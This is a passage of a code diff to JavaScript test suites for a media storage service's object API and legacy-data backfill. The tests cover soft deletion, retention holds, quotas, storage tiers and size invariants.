bearer: null })).status, 410, 'a deleted object is gone, even with a valid signature');++ assert.strictEqual((await call('GET', `${O}/${id}/download`)).status, 410);++ assert.ok(!(await call('GET', O)).body.objects.some(o => o.id === id), 'deleted objects leave the default listing');++ assert.ok((await call('GET', `${O}?include_deleted=1`)).body.objects.some(o => o.id === id));++ r = await call('POST', `${O}/${id}/restore`);++ assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'ready']);++ assert.strictEqual((await call('POST', `${O}/${id}/restore`)).status, 409);++ console.log('✅ holds block deletion (409); soft delete keeps bytes; restore');-- // ── Integrity + limits ──-- r = await call('POST', O, { body: { kind: 'file', content_hash: sha(Buffer.from('expected')) } });-- const badId = r.body.id;-- await call('PUT', `${O}/${badId}/content`, { raw: Buffer.from('something else') });-- r = await call('POST', `${O}/${badId}/complete`);-- assert.deepStrictEqual([r.status, r.body.code], [422, 'media.object.hash_mismatch']);-- assert.strictEqual((await call('POST', O, { body: { kind: 'file', content_hash: 'xyz' } })).status, 400);-- assert.strictEqual((await call('POST', O, { body: { kind: 'nope' } })).status, 400);-- r = await call('POST', O, { body: { kind: 'file', size_bytes: 2 * 1024 * 1024 } });-- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'MEDIA_OBJECT_MAX_MB at init');-- r = await call('POST', O, { body: { kind: 'file' } });-- r = await call('PUT', `${O}/${r.body.id}/content`, { raw: crypto.randomBytes(1024 * 1024 + 10) });-- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'and while streaming');-- r = await call('POST', O, { body: { kind: 'vod', visibility: 'public', size_bytes: 10 } });-- assert.deepStrictEqual([r.status, r.body.code], [422, 'media.invariant.public_object_too_large'], 'public playback objects over the invariant are refused');-- r = await call('POST', O, { body: { kind: 'vod', visibility: 'private', size_bytes: 10 } });-- assert.strictEqual(r.status, 201, 'private ones are not public playback');-- const T = '/api/v2/tiny/objects';-- assert.deepStrictEqual([(r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 30 } })).status, r.body.code], [413, 'media.quota.exceeded']);-- assert.strictEqual((await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 10 } })).status, 201);-- r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 15 } });-- assert.strictEqual(r.status, 413, 'reservations count against the quota at init');-- r = await call('POST', T, { bearer: 'tiny-key', body: {} });-- r = await call('PUT', `${T}/${r.body.id}/content`, { bearer: 'tiny-key', raw: Buffer.alloc(15) });-- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'and again with the real size');-- assert.deepStrictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.tmp')), [], 'refused uploads leave no temp files');-- console.log('✅ hash mismatch, size limit, invariant and quota enforced');++ // ── Integrity + limits ──++ r = await call('POST', O, { body: { kind: 'file', content_hash: sha(Buffer.from('expected')) } });++ const badId = r.body.id;++ await call('PUT', `${O}/${badId}/content`, { raw: Buffer.from('something else') });++ r = await call('POST', `${O}/${badId}/complete`);++ assert.deepStrictEqual([r.status, r.body.code], [422, 'media.object.hash_mismatch']);++ assert.strictEqual((await call('POST', O, { body: { kind: 'file', content_hash: 'xyz' } })).status, 400);++ assert.strictEqual((await call('POST', O, { body: { kind: 'nope' } })).status, 400);++ r = await call('POST', O, { body: { kind: 'file', size_bytes: 2 * 1024 * 1024 } });++ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'MEDIA_OBJECT_MAX_MB at init');++ r = await call('POST', O, { body: { kind: 'file' } });++ r = await call('PUT', `${O}/${r.body.id}/content`, { raw: crypto.randomBytes(1024 * 1024 + 10) });++ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'and while streaming');++ r = await call('POST', O, { body: { kind: 'vod', visibility: 'public', size_bytes: 10 } });++ assert.deepStrictEqual([r.status, r.body.code], [422, 'media.invariant.public_object_too_large'], 'public playback objects over the invariant are refused');++ r = await call('POST', O, { body: { kind: 'vod', visibility: 'private', size_bytes: 10 } });++ assert.strictEqual(r.status, 201, 'private ones are not public playback');++ const T = '/api/v2/tiny/objects';++ assert.deepStrictEqual([(r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 30 } })).status, r.body.code], [413, 'media.quota.exceeded']);++ assert.strictEqual((await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 10 } })).status, 201);++ r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 15 } });++ assert.strictEqual(r.status, 413, 'reservations count against the quota at init');++ r = await call('POST', T, { bearer: 'tiny-key', body: {} });++ r = await call('PUT', `${T}/${r.body.id}/content`, { bearer: 'tiny-key', raw: Buffer.alloc(15) });++ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'and again with the real size');++ assert.deepStrictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.tmp')), [], 'refused uploads leave no temp files');++ console.log('✅ hash mismatch, size limit, invariant and quota enforced');-- // ── Legacy projections through v2 ──-- r = await call('POST', '/api/v1/live/vods', { body: { title: 'Rec', user_id: 3 } });-- const vodId = r.body.id;-- const legacy = `legacy:live:vod:${vodId}`;-- r = await call('GET', `${O}/${legacy}`);-- assert.deepStrictEqual([r.status, r.body.kind, r.body.lifecycle_status, r.body.legacy_ref], [200, 'vod', 'uploading', legacy], 'a v1 vod creates its object; readable by legacy ref');-- const vodObj = r.body.id;-- assert.strictEqual((await call('DELETE', `${O}/${vodObj}`)).body.code, 'media.object.legacy_managed');-- fs.writeFileSync(path.join(process.env.VOD_PATH, 'v.webm'), 'x');-- db.run('UPDATE vods SET file_path = ?, file_size = 1, duration_seconds = 5 WHERE id = ?', [path.join(process.env.VOD_PATH, 'v.webm'), vodId]);-- model.sync('vod', vodId);-- r = await call('GET', `${O}/${vodObj}/download`);-- assert.deepStrictEqual([r.status, r.headers.get('location')], [302, `https://media.test/v/${vodId}`], 'public legacy objects redirect to their inherited URL');-- await call('POST', `${O}/${vodObj}/holds`, { body: { kind: 'evidence' } });-- r = await call('DELETE', `/api/v1/live/vods/${vodId}`);-- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held'], 'v1 delete honours the hold');-- assert.ok(fs.existsSync(path.join(process.env.VOD_PATH, 'v.webm')));-- const fd = new FormData();-- fd.append('file', new Blob([Buffer.from('data')], { type: 'text/plain' }), 'x.txt');-- r = await fetch(`${base}/api/v1/live/files`, { method: 'POST', headers: { authorization: 'Bearer live-key' }, body: fd }).then(async (x) => ({ status: x.status, body: await x.json() }));-- assert.strictEqual(r.status, 201);-- const fileObj = (await call('GET', `${O}/legacy:live:file:${r.body.key}`)).body;-- assert.deepStrictEqual([fileObj.kind, fileObj.content_hash, fileObj.visibility], ['file', r.body.sha256, 'public'], 'v1 file upload creates its object');-- await call('POST', `${O}/${fileObj.id}/holds`, { body: { kind: 'moderation' } });-- assert.strictEqual((await call('DELETE', `/api/v1/live/files/${r.body.key}`)).status, 409);-- const v1List = await call('GET', '/api/v1/live/files');-- assert.ok(!('object_id' in v1List.body.files[0]), 'v1 responses are unchanged');-- console.log('✅ legacy projections: readable via v2, deleted only via v1, holds honoured there');++ // ── Legacy projections through v2 ──++ r = await call('POST', '/api/v1/live/vods', { body: { title: 'Rec', user_id: 3 } });++ const vodId = r.body.id;++ const legacy = `legacy:live:vod:${vodId}`;++ r = await call('GET', `${O}/${legacy}`);++ assert.deepStrictEqual([r.status, r.body.kind, r.body.lifecycle_status, r.body.legacy_ref], [200, 'vod', 'uploading', legacy], 'a v1 vod creates its object; readable by legacy ref');++ const vodObj = r.body.id;++ assert.strictEqual((await call('DELETE', `${O}/${vodObj}`)).body.code, 'media.object.legacy_managed');++ fs.writeFileSync(path.join(process.env.VOD_PATH, 'v.webm'), 'x');++ await db.run('UPDATE vods SET file_path = ?, file_size = 1, duration_seconds = 5 WHERE id = ?', [path.join(process.env.VOD_PATH, 'v.webm'), vodId]);++ await model.sync('vod', vodId);++ r = await call('GET', `${O}/${vodObj}/download`);++ assert.deepStrictEqual([r.status, r.headers.get('location')], [302, `https://media.test/v/${vodId}`], 'public legacy objects redirect to their inherited URL');++ await call('POST', `${O}/${vodObj}/holds`, { body: { kind: 'evidence' } });++ r = await call('DELETE', `/api/v1/live/vods/${vodId}`);++ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held'], 'v1 delete honours the hold');++ assert.ok(fs.existsSync(path.join(process.env.VOD_PATH, 'v.webm')));++ const fd = new FormData();++ fd.append('file', new Blob([Buffer.from('data')], { type: 'text/plain' }), 'x.txt');++ r = await fetch(`${base}/api/v1/live/files`, { method: 'POST', headers: { authorization: 'Bearer live-key' }, body: fd }).then(async (x) => ({ status: x.status, body: await x.json() }));++ assert.strictEqual(r.status, 201);++ const fileObj = (await call('GET', `${O}/legacy:live:file:${r.body.key}`)).body;++ assert.deepStrictEqual([fileObj.kind, fileObj.content_hash, fileObj.visibility], ['file', r.body.sha256, 'public'], 'v1 file upload creates its object');++ await call('POST', `${O}/${fileObj.id}/holds`, { body: { kind: 'moderation' } });++ assert.strictEqual((await call('DELETE', `/api/v1/live/files/${r.body.key}`)).status, 409);++ const v1List = await call('GET', '/api/v1/live/files');++ assert.ok(!('object_id' in v1List.body.files[0]), 'v1 responses are unchanged');++ console.log('✅ legacy projections: readable via v2, deleted only via v1, holds honoured there');-- server.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('object API v2: all checks passed');--})().catch((err) => { console.error(err); server.close(); process.exit(1); });++ server.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('object API v2: all checks passed');++ })().catch((err) => { console.error(err); server.close(); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -8,237 +8,242 @@ const fs = require('fs');const os = require('os');const path = require('path');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objects-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.CLIPS_PATH = dir('clips');--process.env.FILES_PATH = dir('files');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.PASTES_PATH = dir('pastes');--process.env.OBJECTS_PATH = dir('objects');--process.env.MEDIA_PUBLIC_URL = 'https://media.test';--process.env.MEDIA_B2_BUCKET = 'bkt-b2'; // bucket name only: no endpoint, so B2 is not configured--process.env.MEDIA_R2_BUCKET = 'bkt-r2';--process.env.MEDIA_PUBLIC_OBJECT_TARGET_MB = '1';--process.env.MEDIA_PUBLIC_OBJECT_WARN_MB = '2';--process.env.MEDIA_PUBLIC_OBJECT_MAX_MB = '3';----const contracts = require('openvibe-contracts');--const db = require('../server/db/database');--const model = require('../server/objects/model');--const { backfill } = require('../server/objects/backfill');--const invariant = require('../server/objects/invariant');--const vodStorage = require('../server/vod/vod-storage');----const MB = 1024 * 1024;--const MED = /^med_[0-9A-HJKMNP-TV-Z]{26}$/;--const d = db.getDb();--const write = (p, bytes) => { fs.mkdirSync(path.dirname(p), { recursive: true }); fs.writeFileSync(p, Buffer.alloc(bytes, 7)); return p; };--const objOf = (table, id) => model.getObject(d.prepare(`SELECT object_id FROM ${table} WHERE ${table === 'files' ? 'key' : 'id'} = ?`).get(id).object_id);--const locs = (o) => Object.fromEntries(model.listLocations(o.id).map(l => [l.provider, l]));----// ── Inherited rows, inserted raw (no hooks), the way the cutover import left them ──--const vodFile = write(path.join(process.env.VOD_PATH, 'vod-live-1.webm'), 1000);--write(path.join(process.env.THUMBNAILS_PATH, 'vod-1-111.jpg'), 50);--const insVod = d.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, duration_seconds, visibility, is_public, storage_provider, storage_key, thumbnail_url, clips_only, is_recording, created_at)-- VALUES (@id, @app, @user, @title, @file, @size, @dur, @vis, @pub, @prov, @key, @thumb, @co, 0, @at)`);--const V = (o) => insVod.run({ app: 'live', user: 5, title: 'V', file: null, size: 0, dur: 60, vis: 'public', pub: 1, prov: 'local', key: null, thumb: null, co: 0, at: '2025-06-01 10:00:00', ...o });--V({ id: 1, file: vodFile, size: 1000, thumb: '/t/vod-1-111.jpg', at: '2025-01-01 00:00:00' }); // local, present--V({ id: 2, file: '/old/host/vods/old.webm', size: 5 * MB, vis: 'unlisted', pub: 0, prov: 'b2', key: 'vods/old.webm' }); // offloaded--V({ id: 3, file: '/old/host/vods/pop.mp4', size: 2.5 * MB, prov: 'r2', key: 'vods/pop.mp4', thumb: 'https://elsewhere.example/x.jpg' });--V({ id: 4, file: '/opt/hobostreamer/data/vods/gone.webm', size: 50 }); // local but gone--V({ id: 5, file: path.join(process.env.VOD_PATH, 'eph.webm'), co: 1 }); // clips-only--V({ id: 6, dur: 0 }); // ghost: no file yet--V({ id: 7, app: 'games', file: vodFile, size: 1000, vis: 'private', pub: 0 });--const clipFile = write(path.join(process.env.CLIPS_PATH, 'clip-1.webm'), 300);--d.prepare("INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, status, visibility, is_public, start_time, end_time) VALUES (1, 'live', 1, 9, 'C', ?, 'ready', 'public', 1, 5, 15)").run(clipFile);--d.prepare("INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, status) VALUES (2, 'live', 1, 9, 'C2', '', 'processing')").run();--write(path.join(process.env.FILES_PATH, 'live', 'abc123-a.txt'), 12);--d.prepare("INSERT INTO files (key, app_id, user_id, original_name, size, mime, sha256) VALUES ('abc123-a.txt', 'live', 3, 'a.txt', 12, 'text/plain', ?)").run('a'.repeat(64));--const shot = write(path.join(process.env.PASTES_PATH, 'screenshots', 's1.png'), 40);--const avatar = write(path.join(process.env.PASTES_PATH, 'screenshots', 'avatar-n4.webp'), 30);--d.prepare("INSERT INTO pastes (id, app_id, slug, user_id, type, title, content, visibility, screenshot_path, metadata) VALUES (1, 'live', 'shot-one', 2, 'screenshot', 'S', '', 'public', ?, NULL)").run(shot);--d.prepare("INSERT INTO pastes (id, app_id, slug, user_id, type, title, content, visibility, screenshot_path, metadata) VALUES (2, 'network', 'avatar-four', 4, 'screenshot', 'Avatar', '', 'unlisted', ?, ?)").run(avatar, JSON.stringify({ kind: 'avatar', mime_type: 'image/webp' }));--d.prepare("INSERT INTO pastes (id, app_id, slug, type, title, content, visibility) VALUES (3, 'live', 'text-three', 'paste', 'T', 'hello', 'public')").run();--d.prepare("INSERT INTO pastes (id, app_id, slug, type, title, content, visibility, screenshot_path) VALUES (4, 'live', 'shot-nopath', 'screenshot', 'S', '', 'public', NULL)").run();--const mtimes = [vodFile, clipFile, shot, avatar].map(p => fs.statSync(p).mtimeMs);----// ── Dry run: a full report, nothing written ──--const dry = backfill({ dryRun: true });--assert.strictEqual(dry.dry_run, true);--assert.deepStrictEqual(dry.counts.vod, { seen: 7, created: 6, updated: 0, skipped: 1 });--assert.strictEqual(d.prepare('SELECT COUNT(*) c FROM media_objects').get().c, 0, 'dry run writes no objects');--assert.strictEqual(d.prepare('SELECT COUNT(*) c FROM vods WHERE object_id IS NOT NULL').get().c, 0, 'dry run links no rows');--assert.strictEqual(model.parseJson(d.prepare("SELECT value FROM media_settings WHERE key = 'objects.backfill.last_report'").get()?.value, null), null, 'dry run stores no report');--console.log('✅ dry run reports without writing');----// ── Real run ──--const r = backfill();--assert.deepStrictEqual(r.counts.vod, { seen: 7, created: 6, updated: 0, skipped: 1 });--assert.deepStrictEqual(r.counts.clip, { seen: 2, created: 2, updated: 0, skipped: 0 });--assert.deepStrictEqual(r.counts.file, { seen: 1, created: 1, updated: 0, skipped: 0 });--assert.deepStrictEqual(r.counts.screenshot, { seen: 2, created: 1, updated: 0, skipped: 1 });--assert.deepStrictEqual(r.counts.avatar, { seen: 1, created: 1, updated: 0, skipped: 0 });--assert.deepStrictEqual(r.counts.thumbnail, { seen: 2, created: 1, updated: 0, skipped: 1 });--assert.deepStrictEqual(r.skipped.map(s => s.reason).sort(), ['clips-only recording (ephemeral, never published)', 'external thumbnail url', 'screenshot paste without a file path']);--assert.deepStrictEqual(r.errors, []);--assert.ok(d.prepare("SELECT value FROM media_settings WHERE key = 'objects.backfill.last_report'").get(), 'report recorded');--assert.deepStrictEqual([vodFile, clipFile, shot, avatar].map(p => fs.statSync(p).mtimeMs), mtimes, 'no bytes touched');----const v1 = objOf('vods', 1), v2 = objOf('vods', 2), v3 = objOf('vods', 3), v4 = objOf('vods', 4), v6 = objOf('vods', 6), v7 = objOf('vods', 7);--for (const o of [v1, v2, v3, v4, v6, v7]) {-- assert.ok(MED.test(o.id), o.id);-- assert.ok(contracts.validate('media.media-ref@1', { media_id: o.id }).valid, 'canonical id is a valid media-ref');-- assert.ok(contracts.validate('media.media-ref@1', { media_id: o.legacy_ref }).valid, `legacy ref valid: ${o.legacy_ref}`);--}--assert.ok(v1.id < v2.id, 'ids sort by the original creation time');--assert.strictEqual(v1.legacy_ref, 'legacy:live:vod:1');--assert.deepStrictEqual([v1.kind, v1.visibility, v1.lifecycle_status, v1.size_bytes, v1.owner_app, v1.owner_user_id, v1.mime_type], ['vod', 'public', 'ready', 1000, 'live', 5, 'video/webm']);--assert.strictEqual(locs(v1).local.state, 'present');--assert.strictEqual(locs(v1).local.key, vodFile);--assert.ok(locs(v1).local.verified_at, 'a local file that exists is verified present');--assert.deepStrictEqual([v1.canonical_provider, v1.canonical_key], ['local', vodFile]);--assert.deepStrictEqual(Object.keys(locs(v2)), ['b2'], 'offloaded vod: B2 copy only');--assert.deepStrictEqual([locs(v2).b2.state, locs(v2).b2.bucket, locs(v2).b2.key, locs(v2).b2.storage_class, v2.canonical_provider], ['pending', 'bkt-b2', 'vods/old.webm', 'cold', 'b2']);--assert.deepStrictEqual(Object.keys(locs(v3)).sort(), ['b2', 'r2'], 'R2 cache implies the B2 canonical');--assert.deepStrictEqual([locs(v3).r2.state, locs(v3).r2.storage_class, v3.canonical_provider], ['pending', 'cache', 'b2']);--assert.strictEqual(locs(v4).local.state, 'missing', 'a local file that is not on disk is recorded missing');--assert.strictEqual(model.listLocations(v6.id).length, 0);--assert.strictEqual(v6.lifecycle_status, 'uploading');--assert.deepStrictEqual([v7.app_id, v7.namespace, v7.visibility], ['games', 'games', 'private']);--assert.strictEqual(d.prepare('SELECT object_id FROM vods WHERE id = 5').get().object_id, null, 'clips-only row stays unprojected');----const c1 = objOf('clips', 1), c2 = objOf('clips', 2);--assert.deepStrictEqual([c1.kind, c1.lifecycle_status, c1.size_bytes, locs(c1).local.state], ['clip', 'ready', 300, 'present']);--assert.strictEqual(c2.lifecycle_status, 'uploading', 'a clip still being cut is uploading');--const rel = d.prepare("SELECT * FROM media_relationships WHERE from_object_id = ? AND relation = 'clip_of'").get(c1.id);--assert.strictEqual(rel.to_object_id, v1.id, 'clip_of links the clip to its vod');--assert.deepStrictEqual(JSON.parse(rel.metadata), { start_time: 5, end_time: 15 });----const f = objOf('files', 'abc123-a.txt');--assert.deepStrictEqual([f.kind, f.visibility, f.content_hash, f.mime_type, f.legacy_ref, locs(f).local.checksum], ['file', 'public', 'a'.repeat(64), 'text/plain', 'legacy:live:file:abc123-a.txt', 'a'.repeat(64)]);--const s1 = objOf('pastes', 1), av = objOf('pastes', 2);--assert.deepStrictEqual([s1.kind, s1.legacy_ref, s1.size_bytes], ['screenshot', 'legacy:live:paste:shot-one', 40]);--assert.deepStrictEqual([av.kind, av.app_id, av.legacy_ref, av.visibility, av.mime_type], ['avatar', 'network', 'legacy:network:avatar:avatar-four', 'unlisted', 'image/webp']);--assert.strictEqual(d.prepare('SELECT object_id FROM pastes WHERE id = 3').get().object_id, null, 'text pastes have no bytes object');----const tv = model.getVariant(v1.id, 'thumbnail');--const th = model.getObject(tv.derived_object_id);--assert.deepStrictEqual([th.kind, th.legacy_ref, th.visibility, locs(th).local.state], ['thumbnail', 'legacy:live:thumbnail:vod-1-111.jpg', 'public', 'present']);--assert.ok(d.prepare("SELECT 1 FROM media_relationships WHERE from_object_id = ? AND relation = 'thumbnail_of' AND to_object_id = ?").get(th.id, v1.id));--console.log('✅ backfill: one object per row, locations mirror where the bytes are, relationships + thumbnail variants');----// ── Idempotent ──--const countAll = () => ['media_objects', 'media_locations', 'media_relationships', 'media_variants'].map(t => d.prepare(`SELECT COUNT(*) c FROM ${t}`).get().c);--const before = countAll();--const again = backfill();--assert.strictEqual(again.totals.created, 0, 'a re-run creates nothing');--assert.strictEqual(again.counts.vod.updated, 6);--assert.deepStrictEqual(countAll(), before);--assert.strictEqual(objOf('vods', 1).id, v1.id, 'ids are stable');--assert.strictEqual(backfill({ onlyMissing: true }).totals.created, 0, 'only-missing finds nothing new');--console.log('✅ backfill is idempotent');----// ── Remote knowledge survives a re-projection ──--model.setLocationState(locs(v2).b2.id, { state: 'present', size_bytes: 5 * MB });--model.sync('vod', 2);--assert.strictEqual(locs(v2).b2.state, 'present', 'a verified remote copy is not downgraded to pending');--console.log('✅ verified remote state is kept across syncs');----// ── Write hooks on the inherited APIs ──--write(path.join(process.env.FILES_PATH, 'live', 'def456-b.png'), 20);--db.createFile({ key: 'def456-b.png', app_id: 'live', user_id: 3, original_name: 'b.png', size: 20, mime: 'image/png', sha256: 'b'.repeat(64) });--assert.strictEqual(objOf('files', 'def456-b.png').content_hash, 'b'.repeat(64), 'file upload creates its object');--db.setVodVisibility(1, 'private');--assert.strictEqual(model.getObject(v1.id).visibility, 'private', 'visibility follows');--assert.strictEqual(model.getObject(th.id).visibility, 'unlisted', 'a private vod thumbnail is still reachable by name: unlisted');--// Thumbnail regenerated: same object, new file.--write(path.join(process.env.THUMBNAILS_PATH, 'vod-1-222.jpg'), 60);--db.run("UPDATE vods SET thumbnail_url = '/t/vod-1-222.jpg' WHERE id = 1");--model.sync('vod', 1);--const th2 = model.getObject(model.getVariant(v1.id, 'thumbnail').derived_object_id);--assert.strictEqual(th2.id, th.id, 'one thumbnail object per parent, updated in place');--assert.deepStrictEqual([th2.legacy_ref, th2.size_bytes], ['legacy:live:thumbnail:vod-1-222.jpg', 60]);--const newClip = db.createClip({ app_id: 'live', vod_id: 1, user_id: 9, title: 'N', file_path: clipFile, status: 'ready' }).lastInsertRowid;--assert.strictEqual(objOf('clips', newClip).kind, 'clip', 'clip creation creates its object');--db.run('DELETE FROM clips WHERE id = ?', [newClip]);--const deadClip = d.prepare('SELECT * FROM media_objects WHERE legacy_ref = ?').get(`legacy:live:clip:${newClip}`);--assert.strictEqual(deadClip.lifecycle_status, 'deleted', 'deleting the row marks its object deleted (trigger — every delete path)');--assert.ok(deadClip.deleted_at);--console.log('✅ inherited writes keep the model current');----// ── Tier move re-projection ──--const v4row = d.prepare('SELECT * FROM vods WHERE id = 4').get();--db.run("UPDATE vods SET storage_provider = 'b2', storage_key = 'vods/gone.webm' WHERE id = 4");--model.afterTierMove(4, ['b2']);--assert.deepStrictEqual(Object.keys(locs(v4)), ['b2'], 'after offload: the local row goes, the B2 copy appears');--assert.strictEqual(locs(v4).b2.state, 'present', 'the copy the move verified is present');--assert.ok(locs(v4).b2.verified_at);--assert.ok(v4row);--console.log('✅ tier moves update media_locations');--(async () => {-- // ── Retention holds ──-- const hold = model.placeHold({ object_id: v1.id, kind: 'dmca', reason: 'notice #1', created_by: 'admin:alex' });-- assert.strictEqual(model.isHeld(v1.id), true);-- assert.throws(() => db.run('DELETE FROM vods WHERE id = 1'), /retention hold/, 'a held row cannot be deleted by any path');-- assert.ok(d.prepare('SELECT 1 FROM vods WHERE id = 1').get(), 'row still there');-- assert.throws(() => db.run("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?", [v1.id]), /retention hold/);-- await vodStorage.deleteVodObjects(d.prepare('SELECT * FROM vods WHERE id = 1').get());-- assert.ok(fs.existsSync(vodFile), 'held bytes are not deleted');-- const cold = await vodStorage.moveToCold(1);-- assert.deepStrictEqual([cold.ok, cold.held], [false, true], 'held objects are not demoted to B2');-- const prom = await vodStorage.promoteToR2(1);-- assert.strictEqual(prom.held, true, 'nor promoted');-- db.run("UPDATE vods SET storage_provider = 'r2' WHERE id = 1");-- assert.strictEqual((await vodStorage.demoteFromR2(1)).held, true, 'nor demoted from R2');-- db.run("UPDATE vods SET storage_provider = 'local' WHERE id = 1");-- assert.throws(() => model.placeHold({ object_id: v1.id, kind: 'whim' }), /hold kind/);-- model.releaseHold(hold.id, 'admin:alex');-- assert.strictEqual(model.isHeld(v1.id), false);-- assert.strictEqual(model.listHolds(v1.id, { includeReleased: true })[0].released_by, 'admin:alex');-- console.log('✅ holds block deletion and tier moves until released');---- // ── Invariant (thresholds from env: target 1, warn 2, max 3 MB) ──-- assert.strictEqual(invariant.classify(0.5 * MB), 'ok');-- assert.strictEqual(invariant.classify(1.5 * MB), 'above_target');-- assert.strictEqual(invariant.classify(2.5 * MB), 'warn');-- assert.strictEqual(invariant.classify(5 * MB), 'violation');-- assert.strictEqual(invariant.wouldViolate({ kind: 'vod', visibility: 'private', size_bytes: 9 * MB }), false, 'private objects are not public playback');-- assert.strictEqual(invariant.wouldViolate({ kind: 'file', visibility: 'public', size_bytes: 9 * MB }), false, 'only playback kinds');-- const rows = () => d.prepare('SELECT o.legacy_ref, v.level, v.resolved_at FROM media_invariant_violations v JOIN media_objects o ON o.id = v.object_id ORDER BY o.legacy_ref').all();-- assert.deepStrictEqual(rows().map(x => [x.legacy_ref, x.level, x.resolved_at]), [['legacy:live:vod:2', 'violation', null], ['legacy:live:vod:3', 'warn', null]], 'sync records public playback objects over warn/max');-- const scan = invariant.scan({ record: false });-- assert.deepStrictEqual(scan.counts, { ok: 2, above_target: 0, warn: 1, violation: 1 }); // ok: clip 1, vod 4 (vod 1 is private now)-- db.setVodVisibility(3, 'private');-- assert.ok(rows().find(x => x.legacy_ref === 'legacy:live:vod:3').resolved_at, 'making it private resolves the row');-- console.log('✅ public object-size invariant is policy: classified, recorded, resolved');---- // ── Native soft delete + purge ──-- const nid = model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', visibility: 'private', size_bytes: 4 });-- const npath = write(model.objectFilePath(model.getObject(nid)), 4);-- model.upsertLocation(nid, { provider: 'local', key: npath, state: 'present', size_bytes: 4 });-- const heldId = model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', size_bytes: 4 });-- const hpath = write(model.objectFilePath(model.getObject(heldId)), 4);-- model.upsertLocation(heldId, { provider: 'local', key: hpath, state: 'present' });-- const deleted = model.softDelete(model.getObject(nid), { by: 'test' });-- assert.strictEqual(deleted.lifecycle_status, 'deleted');-- assert.ok(model.parseJson(deleted.metadata).retention_until, 'retention recorded');-- assert.ok(fs.existsSync(npath), 'soft delete keeps the bytes');-- assert.strictEqual(model.purgeExpired({ retentionDays: 1 }), 0, 'inside the retention period nothing is purged');-- const h2 = model.placeHold({ object_id: heldId, kind: 'evidence' });-- assert.throws(() => model.softDelete(model.getObject(heldId)), (e) => e.code === 'media.object.held');-- model.releaseHold(h2.id);-- model.softDelete(model.getObject(heldId));-- model.placeHold({ object_id: heldId, kind: 'evidence' }); // held after deletion: still kept-- assert.strictEqual(model.purgeExpired({ retentionDays: 0 }), 1);-- assert.ok(!fs.existsSync(npath), 'expired native bytes are purged');-- assert.ok(fs.existsSync(hpath), 'held bytes survive the purge');-- assert.ok(model.parseJson(model.getObject(nid).metadata).purged_at);-- assert.strictEqual(model.restore(model.getObject(nid)), null, 'a purged object cannot be restored');-- console.log('✅ native soft delete keeps bytes for the retention period; purge skips held objects');---- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('objects model + backfill: all checks passed');++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objects-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.CLIPS_PATH = dir('clips');++ process.env.FILES_PATH = dir('files');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.PASTES_PATH = dir('pastes');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';++ process.env.MEDIA_B2_BUCKET = 'bkt-b2'; // bucket name only: no endpoint, so B2 is not configured++ process.env.MEDIA_R2_BUCKET = 'bkt-r2';++ process.env.MEDIA_PUBLIC_OBJECT_TARGET_MB = '1';++ process.env.MEDIA_PUBLIC_OBJECT_WARN_MB = '2';++ process.env.MEDIA_PUBLIC_OBJECT_MAX_MB = '3';++++ const contracts = require('openvibe-contracts');++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const { backfill } = require('../server/objects/backfill');++ const invariant = require('../server/objects/invariant');++ const vodStorage = require('../server/vod/vod-storage');++ // The revisioned tier policies load once the database is open (server/index.js does this at boot).++ await vodStorage.tierConfig.init(vodStorage.DEFAULTS);++ await require('../server/objects/tier-policy').init();++++ const MB = 1024 * 1024;++ const MED = /^med_[0-9A-HJKMNP-TV-Z]{26}$/;++ const d = db.getDb();++ const write = (p, bytes) => { fs.mkdirSync(path.dirname(p), { recursive: true }); fs.writeFileSync(p, Buffer.alloc(bytes, 7)); return p; };++ const objOf = async (table, id) => await model.getObject((await d.prepare(`SELECT object_id FROM ${table} WHERE ${table === 'files' ? 'key' : 'id'} = ?`).get(id)).object_id);++ const locs = async (o) => Object.fromEntries((await model.listLocations(o.id)).map(l => [l.provider, l]));++++ // ── Inherited rows, inserted raw (no hooks), the way the cutover import left them ──++ const vodFile = write(path.join(process.env.VOD_PATH, 'vod-live-1.webm'), 1000);++ write(path.join(process.env.THUMBNAILS_PATH, 'vod-1-111.jpg'), 50);++ const insVod = d.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, duration_seconds, visibility, 